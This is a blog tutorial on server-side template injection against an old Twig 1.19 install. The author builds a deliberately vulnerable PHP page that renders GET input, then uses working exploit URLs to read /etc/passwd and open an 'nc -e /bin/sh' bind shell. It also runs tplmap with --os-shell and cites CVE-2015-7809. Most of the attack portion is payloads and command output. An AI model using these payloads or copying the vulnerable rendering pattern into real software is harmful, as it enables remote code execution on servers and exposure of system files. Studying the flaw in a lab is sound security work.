This page looks best with JavaScript enabled

Server side template injection

 ·  🎃 kr0m

Server Side Template Injection attacks take advantage of incorrect parsing of user-entered variables to execute code on the server side using templating directives.

As a PoC, we will execute vulnerable php code on an outdated version of Twig, specifically Twig1.9.

To perform our tests, we will install an old version of Twig since modern versions of Twig have the bug fixed. It should be noted that Twig must be used directly. If we do it through Symfony, we will not be able to exploit the bug despite having a vulnerable version of Twig:

cd /var/www/testSSTI
composer require "twig/twig:1.19"

We program a small web page that returns the value of the $name variable obtained by GET:

vi index.php

<?php
require_once '/var/www/testSSTI/vendor/autoload.php';

Twig_Autoloader::register();
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
$name=$_GETname;
$result= $twig->render($name);
echo "Hello $result";

The vhost configuration will be very simple:

vi /etc/apache2/vhosts.d/testSSTI.conf

<VirtualHost *:80>
        ServerAdmin sys@alfaexploit.com
        DocumentRoot /var/www/testSSTI/
        ServerName www.testssti.com
        ErrorLog /var/log/apache2/testssti.error_log
        CustomLog /var/log/apache2/testssti.access_log combined
        DirectoryIndex index.php index.htm index.html

        AddHandler application/x-httpd-php .php .php5 .phtml
        AddHandler application/x-httpd-php-source .phps

        <FilesMatch ".php$">
            SetHandler "proxy:unix:///var/run/php7.2-fpm.sock|fcgi://localhost/"
        </FilesMatch>
        
        <Directory "/var/www/testSSTI/">
            Options -Indexes +FollowSymLinks
            AllowOverride All
            Require all granted
        </Directory>
</VirtualHost>

We test to verify that the code works correctly:

curl 'http://www.testssti.com/?name=kr0m'

Hello kr0m

Now we test with a templating directive such as {8*2}:

curl 'http://www.testssti.com/?name={{8*2}}'

Hello 16

It worked, let’s try something more complex like defining a callback filter in Twig:

curl 'http://www.testssti.com/?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22cat%20/etc/passwd%22)}}'

Hello cowrie:x:1004:1004::/home/cowrie:/bin/bash

Great, now let’s set up a listening socket that offers us a shell:

curl 'http://www.testssti.com/?name={{_self.env.registerUndefinedFilterCallback(%22exec%22)}}{{_self.env.getFilter(%22nc%20-l%20-p%207777%20-e%20/bin/sh%22)}}'

Connect to the socket:

nc 192.168.192.168 7777

id
uid=81(apache) gid=81(apache) groups=81(apache)
ls
composer.json
composer.lock
index.php
vendor

Remote shell obtained with the apache user ;)

There is a tool called tplmap that will make our job easier:

git clone https://github.com/epinna/tplmap.git
./tplmap.py --os-shell -u "http://www.testssti.com/?name=kr0m"

[+] Tplmap 0.5
 Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

 GET parameter: name
 Engine: Twig
 Injection: {{*}}
 Context: text
 OS: Linux
 Technique: render
 Capabilities:

 Shell command execution: ok
 Bind and reverse shell: ok
 File write: ok
 File read: ok
 Code evaluation: ok, php code

[+] Run commands on the operating system.
Linux $ id
uid=81(apache) gid=81(apache) groups=81(apache)
Linux $ ls
vendor

Here are the links when the bug was fixed and the CVE in question:
https://symfony.com/blog/security-release-twig-1-20-0
https://www.cvedetails.com/cve/CVE-2015-7809/

If you liked the article, you can treat me to a RedBull here